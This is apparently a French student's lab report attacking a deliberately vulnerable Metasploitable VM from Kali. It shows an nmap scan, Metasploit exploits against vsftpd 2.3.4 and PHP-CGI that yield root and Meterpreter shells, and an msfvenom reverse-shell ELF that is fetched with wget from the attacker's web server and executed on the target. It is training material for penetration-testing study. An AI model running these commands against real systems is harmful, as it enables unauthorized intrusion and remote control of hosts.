

Laboratoire 05 - Gauvain BOICHÉ - 12/02/2026

Analyse Cyber

Attaque sur Samba

La configuration Réseau NAT, des deux VMs Kali et Metasploitable, c'est déjà rédigé, inutile de faire une redite.

On recommence une cartographie des services de Metasploitable :

```
(kali@kali)-[~]
$ nmap -sV -p- 150.100.50.4
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-12 04:46 -0500
Nmap scan report for 150.100.50.4
Host is up (0.070s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
33900/tcp open  java-rmi     GNU Classpath grmiregistry
51477/tcp open  status       1 (RPC #100024)
52878/tcp open  mountd       1-3 (RPC #100005)
54355/tcp open  nlockmgr     1-4 (RPC #100021)
MAC Address: 08:00:27:03:F1:0B (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 245.03 seconds
```

On cherche ensuite les exploit correspondant à la demande SAMBA, pour Linux :

```
msf > search exploit/linux samba

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/linux/samba/setinfo_policy_heap  2012-04-10      normal  Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
1  \_ target: 2:3.5.11-dfsg-1ubuntu2 on Ubuntu Server 11.10
2  \_ target: 2:3.5.8-dfsg-1ubuntu2 on Ubuntu Server 11.10
3  \_ target: 2:3.5.8-dfsg-1ubuntu2 on Ubuntu Server 11.04
4  \_ target: 2:3.5.4-dfsg-1ubuntu8 on Ubuntu Server 10.10
5  \_ target: 2:3.5.6-dfsg-3squeeze6 on Debian Squeeze
6  \_ target: 3.5.10-0.107.el5 on CentOS 5
7  exploit/linux/samba/chain_reply          2010-06-16      good    No     Samba chain_reply Memory Corruption (Linux x86)
8  \_ target: Linux (Debian5 3.2.5-4lenny6)
9  \_ target: Debugging Target
10 exploit/linux/samba/is_known_pipename    2017-03-24      excellent Yes    Samba is_known_pipename() Arbitrary Module Load
11 \_ target: Automatic (Interact)
12 \_ target: Automatic (Command)
13 \_ target: Linux x86
14 \_ target: Linux x86_64
15 \_ target: Linux ARM (LE)
16 \_ target: Linux ARM64
17 \_ target: Linux MIPS
18 \_ target: Linux MIPSLE
19 \_ target: Linux MIPS64
20 \_ target: Linux MIPS64LE
21 \_ target: Linux PPC
22 \_ target: Linux PPC64
23 \_ target: Linux PPC64 (LE)
24 \_ target: Linux SPARC
25 \_ target: Linux SPARC64
26 \_ target: Linux s390x
27 exploit/linux/samba/lsa_trans_names_heap 2007-05-14      good    Yes    Samba lsa_io_trans_names Heap Overflow
28 \_ target: Linux vsyscall
29 \_ target: Linux Heap Brute Force (Debian/Ubuntu)
30 \_ target: Linux Heap Brute Force (Gentoo)
31 \_ target: Linux Heap Brute Force (Mandriva)
32 \_ target: Linux Heap Brute Force (RHEL/CentOS)
33 \_ target: Linux Heap Brute Force (SUSE)
34 \_ target: Linux Heap Brute Force (Slackware)
35 \_ target: Linux Heap Brute Force (OpenWRT MIPS)
36 \_ target: DEBBUG
37 exploit/linux/samba/trans2open          2003-04-07      great   No     Samba trans2open Overflow (Linux x86)

Interact with a module by name or index. For example info 37, use 37 or use exploit/linux/samba/trans2open
```

Je n'aime pas spécialement les choix donnés, je tente avec "multi" et "unix" :

<https://www.infosecmatter.com/metasploit-module-library/>

mm=exploit%2Fmulti%2Fsamba%2Fusermap_script

```
msf > search exploit/unix/samba
[!] No results from search
msf > search exploit/unix samba

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/webapp/citrix_access_gateway_exec  2010-12-21      excellent Yes    Citrix Access Gateway Command Execution
1  exploit/unix/misc/distcc_exec                 2002-02-01      excellent Yes    DistCC Daemon Command Execution
2  exploit/unix/http/quest_kace_systems_management_rce  2018-05-31      excellent Yes    Quest KACE Systems Management Command Injection

Interact with a module by name or index. For example info 2, use 2 or use exploit/unix/http/quest_kace_systems_management_rce

msf > search exploit/multi samba

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/multi/samba/usermap_script            2007-05-14      excellent No     Samba "username map script" Command Execution
1  exploit/multi/samba/nttrans                   2003-04-07      average  No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow

Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/samba/nttrans

msf > |
```

Je choisis l'exploit cité dans l'exercice, ne m'y connaissant pas plus que ça, et les autres exploit ne m'inspirant pas grand chose. Je configure comme il faut :

```

msf > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  CHOST      150.100.50.3     no        The local client address
  CPORT      4444             no        The local client port
  Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
  RHOSTS     150.100.50.4     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  --      -
  LHOST      150.100.50.3     yes       The listen address (an interface may be specified)
  LPORT      4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf exploit(multi/samba/usermap_script) > set RHOSTS 150.100.50.4
RHOSTS => 150.100.50.4
msf exploit(multi/samba/usermap_script) > set RPORT 139
RPORT => 139
msf exploit(multi/samba/usermap_script) >

```

-- Interlude --

Devant une série de bogues, de comportements un peu cassés et autres joyeusetés, je désinstalle Metasploit et je réinstalle depuis le script sur le site officiel.

(ça n'a rien changé, mais au moins l'installation est propre)

Attaque sur Samba (reprise)

Je n'y arrive pas, ça n'ouvre pas de session, les solutions sur les forums HTB ne marchent pas, et je ne peux pas bloquer là-dessus éternellement. Je repasse en exploit VSFTP :

```

[*] 150.100.50.4 - Command shell session 1 closed. Reason: User exit
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS     150.100.50.4     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 150.100.50.4:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 150.100.50.4:21 - USER: 331 Please specify the password.
[+] 150.100.50.4:21 - Backdoor service has been spawned, handling ...
[+] 150.100.50.4:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
whoami[*] Command shell session 2 opened (150.100.50.3:41243 → 150.100.50.4:6200) at 2026-02-12 06:00:08 -0500

whoami
sh: line 6: whoami: command not found
whoami
root
ls /home/msfadmin
vulnerable

```

Exploitation Web

On va essayer d'attaquer par HTTP :

```
msf > search scanner/http/http
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/http/http_traversal	.	normal	No	Generic HTTP Directory Traversal Utility
1	_ action: CHECK	.	.	.	Check for basic directory traversal
2	_ action: DOWNLOAD	.	.	.	Attempt to download files after brute forcing a trigger
3	_ action: PHPSOURCE	.	.	.	Attempt to retrieve php source code files
4	_ action: WRITABLE	.	.	.	Check if a traversal bug allows us to write anywhere
5	auxiliary/scanner/http/http_header	.	normal	No	HTTP Header Detection
6	auxiliary/scanner/http/http_login	.	normal	No	HTTP Login Utility
7	auxiliary/scanner/http/http_sickrage_password_leak	2018-03-08	normal	No	HTTP SickRage Password Leak
8	auxiliary/scanner/http/http_hsts	.	normal	No	HTTP Strict Transport Security (HSTS) Detection
9	auxiliary/scanner/http/http_version	.	normal	No	HTTP Version Detection
10	auxiliary/scanner/http/http_put	.	normal	No	HTTP Writable Path PUT/DELETE File Access
11	_ action: DELETE	.	.	.	Delete remote file
12	_ action: PUT	.	.	.	Upload local file
13	auxiliary/scanner/http/httpbl_lookup	.	normal	No	Http:BL Lookup
14	auxiliary/scanner/http/httpdasm_directory_traversal	.	normal	No	Httpdasm Directory Traversal

Interact with a module by name or index. For example `info 14`, use `14` or use `auxiliary/scanner/http/httpdasm_directory_traversal`

```
msf > use auxiliary/scanner/http/http_version
msf auxiliary(scanner/http/http_version) > show options
```

Module options (auxiliary/scanner/http/http_version):

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads (max one per host)
VHOST		no	HTTP server virtual host

View the full module info with the `info`, or `info -d` command.

```
msf auxiliary(scanner/http/http_version) > set RHOSTS 150.100.50.4
RHOSTS => 150.100.50.4
msf auxiliary(scanner/http/http_version) > run
[*] 150.100.50.4:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Je tente une analyse des dossiers avec `auxiliary/scanner/http/dir_scanner` :

```
msf > search scanner/http/dir
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/http/directadmin_login	.	normal	No	DirectAdmin Web Control Panel Login Utility
1	auxiliary/scanner/http/dir_listing	.	normal	No	HTTP Directory Listing Scanner
2	auxiliary/scanner/http/dir_scanner	.	normal	No	HTTP Directory Scanner
3	auxiliary/scanner/http/dir_webdav_unicode_bypass	.	normal	No	MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner

Interact with a module by name or index. For example `info 3`, use `3` or use `auxiliary/scanner/http/dir_webdav_unicode_bypass`

```
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(scanner/http/dir_scanner) > show options
```

Module options (auxiliary/scanner/http/dir_scanner):

Name	Current Setting	Required	Description
DICTIONARY	/opt/metasploit-framework/embedded/framework/data/wmap/wmap_d irs.txt	no	Path of word dictionary to use
PATH	/	yes	The path to identify files
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...].
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads (max one per host)
VHOST		no	HTTP server virtual host

View the full module info with the `info`, or `info -d` command.

```
msf auxiliary(scanner/http/dir_scanner) > set RHOSTS 150.100.50.4
RHOSTS => 150.100.50.4
msf auxiliary(scanner/http/dir_scanner) > run
[*] Detecting error code
[*] Using code '404' as not found for 150.100.50.4
[*] Found http://150.100.50.4:80/cgi-bin/ 403 (150.100.50.4)
[*] Found http://150.100.50.4:80/doc/ 200 (150.100.50.4)
[*] Found http://150.100.50.4:80/icons/ 200 (150.100.50.4)
[*] Found http://150.100.50.4:80/index/ 404 (150.100.50.4)
[*] Found http://150.100.50.4:80/phpMyAdmin/ 200 (150.100.50.4)
[*] Found http://150.100.50.4:80/test/ 404 (150.100.50.4)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

On a plusieurs codes 200 intéressants :

- /doc
- /icons

- /phpMyAdmin

Oh, c'est dommage ça, PHP.

```
msf > search exploit phpmyadmin

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/webapp/phpmyadmin_config    2009-03-24      excellent No      PhpMyAdmin Config File Code Injection
1  auxiliary/admin/http/telpho10_credential_dump 2016-09-02      normal  No      Telpho10 Backup Credentials Dumper
2  exploit/multi/http/zpanel_information_disclosure_rce 2014-01-30      excellent No      Zpanel Remote Unauthenticated RCE
3  \_ target: Generic (PHP Payload)          .               .       .       .
4  \_ target: Linux x86                      .               .       .       .
5  exploit/multi/http/phpmyadmin_3522_backdoor 2012-09-25      normal  No      phpMyAdmin 3.5.2.2 server_sync.php Backdoor
6  exploit/multi/http/phpmyadmin_lfi_rce      2018-06-19      good    Yes     phpMyAdmin Authenticated Remote Code Execution
7  \_ target: Automatic                      .               .       .       .
8  \_ target: Windows                        .               .       .       .
9  \_ target: Linux                          .               .       .       .
10 exploit/multi/http/phpmyadmin_null_termination_exec 2016-06-23      excellent Yes     phpMyAdmin Authenticated Remote Code Execution
11 exploit/multi/http/phpmyadmin_preg_replace 2013-04-25      excellent Yes     phpMyAdmin Authenticated Remote Code Execution via preg_replace()

Interact with a module by name or index. For example info 11, use 11 or use exploit/multi/http/phpmyadmin_preg_replace
```

J'utilise un injecteur :

```
msf > use exploit/multi/http/php_cgi_arg_injection
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

Name      Current Setting  Required  Description
-      -
PLESK      false           yes       Exploit Plesk
Proxies    no              no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS     yes            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      80             yes       The target port (TCP)
SSL        false          no        Negotiate SSL/TLS for outgoing connections
TARGETURI  no             no        The URI to request (must be a CGI-handled PHP script)
URIENCODING 0              yes       Level of URI ENCODING and padding (0 for minimum)
VHOST      no             no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-      -
LHOST     150.100.50.3    yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 150.100.50.4
RHOSTS => 150.100.50.4
msf exploit(multi/http/php_cgi_arg_injection) > exploit
[*] Started reverse TCP handler on 150.100.50.3:4444
[*] Sending stage (42137 bytes) to 150.100.50.4
[*] Meterpreter session 3 opened (150.100.50.3:4444 -> 150.100.50.4:38817) at 2026-02-12 08:01:47 -0500

meterpreter > ls
Listing: /var/www

Mode                Size           Type      Last modified            Name
-
041777/rwxrwxrwx  17592186048512  dir      182042302250-03-10 11:10:13 -0400  dav
040755/rwxr-xr-x  17592186048512  dir      182042482449-05-12 11:17:21 -0400  dvwa
100644/rw-r--r--  3826815861627   fil      182042311505-02-17 18:13:29 -0500  index.php
040755/rwxr-xr-x  17592186048512  dir      181964996940-05-31 14:38:18 -0400  mutillidae
040755/rwxr-xr-x  17592186048512  dir      181964937872-02-08 13:03:20 -0500  phpMyAdmin
100644/rw-r--r--  81604378643     fil      173039983614-08-05 02:08:28 -0400  phpinfo.php
040755/rwxr-xr-x  17592186048512  dir      181965051925-08-30 13:04:46 -0400  test
040775/rwxrwxr-x  87960930242560  dir      173083439924-11-22 07:50:32 -0500  tikiwiki
040775/rwxrwxr-x  87960930242560  dir      173040024853-07-11 18:58:19 -0400  tikiwiki-old
040755/rwxr-xr-x  17592186048512  dir      173046477589-12-24 16:59:26 -0500  twiki
```



```
meterpreter > shell
Process 8475 created.
Channel 0 created.
ls
dav
dvwa
index.php
mutillidae
phpMyAdmin
phpinfo.php
test
tikiwiki
tikiwiki-old
twiki
whoami
www-data
█
```

MSFVenom

```
msf > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=150.100.50.3 LPORT=4444 -f elf -o shell.elf
[*] exec: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=150.100.50.3 LPORT=4444 -f elf -o shell.elf

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: shell.elf
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options

Payload options (linux/x64/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST |                 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name            |
|----|-----------------|
| 0  | Wildcard Target |



View the full module info with the info, or info -d command.

msf exploit(multi/handler) > set LHOST 150.100.50.3
LHOST => 150.100.50.3
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 150.100.50.3:4444
█
```

Là c'est un peu chaud : j'ai trois onglets. Le premier sur ma Kali, le second avec le payload chargé, le troisième avec un Shell ouvert depuis la porte dérobée VSFTP.

Premier onglet, je contrôle la présence du "shell.elf" :

```
(kali@kali)-[~]
$ ls
Desktop  Documents  Downloads  htb.ovpn  install_metasploit.sh  msfinstall  Music  nmap_150-100-50-4.txt  Pictures  Public  raft-small-word.txt  shell.elf
```

Troisième onglet, je téléverse le payload sur la machine en utilisant une autre vulnérabilité. Elle a été trouvée en demandant à une IA un peu d'aide (Gemini Pro) :

```
(kali㉿kali)-[~]  
$ python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
█
```

Dans un autre onglet, j'ouvre un NetCat sur le port 1524 par Telnet et j'obtiens un accès root :

```
(kali㉿kali)-[~]  
$ nc 150.100.50.4 1524  
root@metasploitable:/# █
```

Si j'avais su...

De fait, je "télécharge" le payload en utilisant le serveur web python temporaire :

```
(kali㉿kali)-[~]  
$ nc 150.100.50.4 1524  
root@metasploitable:/# cd tmp  
root@metasploitable:/tmp# wget http://150.100.50.3/shell.elf  
--09:59:51-- http://150.100.50.3/shell.elf  
           ⇒ `shell.elf.1'  
Connecting to 150.100.50.3:80... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 250 [application/octet-stream]  
  
      0K      100%  10.94 MB/s  
  
09:59:51 (10.94 MB/s) - `shell.elf.1' saved [250/250]  
  
root@metasploitable:/tmp# chmod +x ./shell.elf  
root@metasploitable:/tmp# ./shell.elf
```